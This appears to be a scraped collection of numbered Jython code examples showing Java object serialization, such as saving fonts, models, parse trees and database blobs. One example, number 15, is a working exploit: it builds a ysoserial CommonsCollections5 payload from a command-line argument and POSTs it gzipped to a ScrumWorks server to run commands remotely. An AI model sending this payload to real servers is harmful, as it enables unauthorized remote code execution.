Exemplo n.º 1
0
 def run(self):
     while 1:
         print "Writing out channels", Date()
         ostream = FileOutputStream(self.filename)
         p = ObjectOutputStream(ostream)
         p.writeObject(self.registry.getChannelGroup("Default"))
         p.flush()
         ostream.close()
         self.sleep(self.delay)
Exemplo n.º 2
0
    def _test_blob(self, obj=0):
        assert self.has_table("blobtable"), "no blob table"
        tabname, sql = self.table("blobtable")
        fn = tempfile.mktemp()
        fp = None

        c = self.cursor()
        try:

            hello = ("hello",) * 1024

            c.execute(sql)
            self.db.commit()

            from java.io import (
                FileOutputStream,
                FileInputStream,
                ObjectOutputStream,
                ObjectInputStream,
                ByteArrayInputStream,
            )

            fp = FileOutputStream(fn)
            oos = ObjectOutputStream(fp)
            oos.writeObject(hello)
            fp.close()

            fp = FileInputStream(fn)
            blob = ObjectInputStream(fp)
            value = blob.readObject()
            fp.close()
            assert hello == value, "unable to serialize properly"

            if obj == 1:
                fp = open(fn, "rb")
            else:
                fp = FileInputStream(fn)

            c.execute("insert into %s (a, b) values (?, ?)" % (tabname), [(0, fp)], {1: zxJDBC.BLOB})
            self.db.commit()

            c.execute("select * from %s" % (tabname))
            f = c.fetchall()
            bytes = f[0][1]
            blob = ObjectInputStream(ByteArrayInputStream(bytes)).readObject()

            assert hello == blob, "blobs are not equal"

        finally:
            c.execute("drop table %s" % (tabname))
            c.close()
            self.db.commit()
            if os.path.exists(fn):
                if fp:
                    fp.close()
                os.remove(fn)
Exemplo n.º 3
0
def serialize(o, special=False):
    b = ByteArrayOutputStream()
    objs = ObjectOutputStream(b)
    objs.writeObject(o)
    if not special:
        OIS = ObjectInputStream
    else:
        OIS = PythonObjectInputStream
    objs = OIS(ByteArrayInputStream(b.toByteArray()))
    return objs.readObject()
Exemplo n.º 4
0
 def saveClick(self, e):
     returnVal = self._fc.showSaveDialog(self._splitpane)
     if returnVal == JFileChooser.APPROVE_OPTION:
         f = self._fc.getSelectedFile()
         if f.exists():
             result = JOptionPane.showConfirmDialog(self._splitpane, "The file exists, overwrite?", "Existing File", JOptionPane.YES_NO_OPTION)
             if result != JOptionPane.YES_OPTION:
                 return
         fileName = f.getPath()
         outs = ObjectOutputStream(FileOutputStream(fileName))
         outs.writeObject(self._db.getSaveableObject())
         outs.close()
Exemplo n.º 5
0
    def __blob(self, obj=0):
        assert self.has_table("blobtable"), "no blob table"
        tabname, sql = self.table("blobtable")
        fn = tempfile.mktemp()
        fp = None

        c = self.cursor()
        try:

            hello = ("hello", ) * 1024

            c.execute(sql)
            self.db.commit()

            from java.io import FileOutputStream, FileInputStream, ObjectOutputStream, ObjectInputStream, ByteArrayInputStream

            fp = FileOutputStream(fn)
            oos = ObjectOutputStream(fp)
            oos.writeObject(hello)
            fp.close()

            fp = FileInputStream(fn)
            blob = ObjectInputStream(fp)
            value = blob.readObject()
            fp.close()
            assert hello == value, "unable to serialize properly"

            if obj == 1:
                fp = open(fn, "rb")
            else:
                fp = FileInputStream(fn)

            c.execute("insert into %s (a, b) values (?, ?)" % (tabname),
                      [(0, fp)], {1: zxJDBC.BLOB})
            self.db.commit()

            c.execute("select * from %s" % (tabname))
            f = c.fetchall()
            bytes = f[0][1]
            blob = ObjectInputStream(ByteArrayInputStream(bytes)).readObject()

            assert hello == blob, "blobs are not equal"

        finally:
            c.execute("drop table %s" % (tabname))
            c.close()
            self.db.commit()
            if os.path.exists(fn):
                if fp:
                    fp.close()
                os.remove(fn)
Exemplo n.º 6
0
    def action_ok(self, event):
        fabric = FontFabric()
        if self.font_file.name[-3:].lower() == 'pdb':
            font = fabric.loadPdb(self.font_file, self.encoding.get_selection())
        if self.font_file.name[-3:].lower() == 'pft':
            font = fabric.loadPft(self.font_file, self.encoding.get_selection())

        font_name = String(self.font_name.text).replaceAll(' ', '')
        font.name = font_name
        font_file = c.config('FONT_DIRECTORY') + '/' + font_name
        o = ObjectOutputStream(FileOutputStream(font_file))
        o.writeObject(font)
        o.close()
        self.dispose()
        self.parent.refresh_fonts()
def output_serialized_model(key, model):
    baos = ByteArrayOutputStream()
    oos = ObjectOutputStream(baos)
    oos.writeObject(model)
    oos.flush()
    oos.close()
    return baos.toByteArray()
Exemplo n.º 8
0
    def action_ok(self, event):
        fabric = FontFabric()
        if self.rb_normal.selected:
            font = fabric.loadNormal(self.font, self.encoding.get_selection())
        elif self.rb_antialiased.selected:
            font = fabric.loadAntialiased(self.font, self.encoding.get_selection())
        elif self.rb_subpixel.selected:
            font = fabric.loadSubpixel(self.font, self.encoding.get_selection())
        elif self.rb_subpixel_aa.selected:
            font = fabric.loadSubpixelAntialiased(self.font, self.encoding.get_selection())

        font_name = String(self.font_name.text).replaceAll(' ', '')
        font.name = font_name
        font_file = c.config('FONT_DIRECTORY') + '/' + font_name
        o = ObjectOutputStream(FileOutputStream(font_file))
        o.writeObject(font)
        o.close()
        self.dispose()
        self.parent.refresh_fonts()
Exemplo n.º 9
0
def serializeTree(parsetree, filename):
    '''
    Serialize the Python parsetree consisting up tuples and strings
    into Java LinkedList and String objects, and save into filename.
    '''
    def p2j(subtree):
        if type(subtree) == str:
            return String(subtree)
        elif type(subtree) == tuple:
            l = LinkedList()
            for entry in subtree:
                l.add(p2j(entry))
            return l
        else:
            raise ValueError, ("ERROR, bad type in parse tree: "
                + str(type(subtree)))
    jtree = p2j(parsetree)
    fileout = FileOutputStream(filename)
    oostream = ObjectOutputStream(fileout)
    oostream.writeObject(jtree)
    oostream.close()
 def run(self):
     while 1:
         print "Writing out channels", Date()
         ostream = FileOutputStream(self.filename)
         p = ObjectOutputStream(ostream)
         p.writeObject(self.registry.getChannelGroup("Default"))
         p.flush()
         ostream.close()
         self.sleep(self.delay)
Exemplo n.º 11
0
def serialize(o, special=False):
    b = ByteArrayOutputStream()
    objs = ObjectOutputStream(b)
    objs.writeObject(o)
    if not special:
        OIS = ObjectInputStream
    else:
        OIS = PythonObjectInputStream
    objs = OIS(ByteArrayInputStream(b.toByteArray()))
    return objs.readObject()
Exemplo n.º 12
0
    def test_serialization(self):
        s = set(range(5, 10))
        output = ByteArrayOutputStream()
        serializer = ObjectOutputStream(output)
        serializer.writeObject(s)
        serializer.close()

        input = ByteArrayInputStream(output.toByteArray())
        unserializer = ObjectInputStream(input)
        self.assertEqual(s, unserializer.readObject())
Exemplo n.º 13
0
def serialize(obj, filepath):
  if not Serializable.isAssignableFrom(obj.getClass()):
    syncPrintQ("Object doesn't implement Serializable: " + str(obj))
    return False
  f = None
  o = None
  try:
    f = FileOutputStream(filepath)
    o = ObjectOutputStream(f)
    o.writeObject(obj)
    o.flush()
    f.getFD().sync() # ensure file is written to disk
    return True
  except:
    syncPrintQ(sys.exc_info())
  finally:
    if o:
      o.close()
    if f:
      f.close()
def saveInstanceList(instances, fname):
    s = ObjectOutputStream(FileOutputStream(fname))
    s.writeObject(instances)
    s.close()
Exemplo n.º 15
0
payloadName = "CommonsCollections5"
payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName);

if payloadClass is None:
  print("Can't load ysoserial payload class")
  exit(2);

# serialize payload
payload = payloadClass.newInstance()
exploitObject = payload.getObject(sys.argv[3])

# create streams
byteStream = ByteArrayOutputStream()
zipStream = GZIPOutputStream(byteStream)
objectStream = ObjectOutputStream(zipStream) 
objectStream.writeObject(exploitObject)

# close streams
objectStream.flush()
objectStream.close()
zipStream.close()
byteStream.close()

# http request
print "sending serialized command"
conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2])
conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray())
response = conn.getresponse()
conn.close()
print "done"
    parser.error("Must provide pomdp filename")

# figure out representation
flat_rep = fnmatch(options.filename, '*.POMDP')
rep = FileParser.PARSE_CASSANDRA_POMDP if flat_rep else \
    FileParser.PARSE_SPUDD

# load problem
pomdp = FileParser.loadPomdp(options.filename, rep)

# lower bound
bp_calc = BpviStd(pomdp) if flat_rep else BpviAdd(pomdp)
lbound = bp_calc.getValueFunction()

# upper bound
qp_calc = QmdpStd(pomdp) if flat_rep else QmdpAdd(pomdp)
ubound = qp_calc.getValueFunction()

# serialize
usuffix = '.QMDP_STD.ser' if flat_rep else '.QMDP_ADD.ser'
ufos = FileOutputStream( basename(options.filename) + usuffix )
uout = ObjectOutputStream(ufos)
uout.writeObject(ubound)
uout.close()

lsuffix = '.BLIND_STD.ser' if flat_rep else '.BLIND_ADD.ser'
lfos = FileOutputStream( basename(options.filename) + lsuffix )
lout = ObjectOutputStream(lfos)
lout.writeObject(lbound)
lout.close()
def saveObjToFile(object, folderLocation, nameOfFile):
    objOutStream = ObjectOutputStream(
        FileOutputStream(folderLocation + nameOfFile))
    objOutStream.writeObject(object)
Exemplo n.º 18
0
def saveModel(crf, file):
    s=ObjectOutputStream(FileOutputStream(file))
    s.writeObject(crf);
    s.close();
Exemplo n.º 19
0
def saveInstanceList(instances, fname):
    s = ObjectOutputStream(FileOutputStream(fname))
    s.writeObject(instances)
    s.close()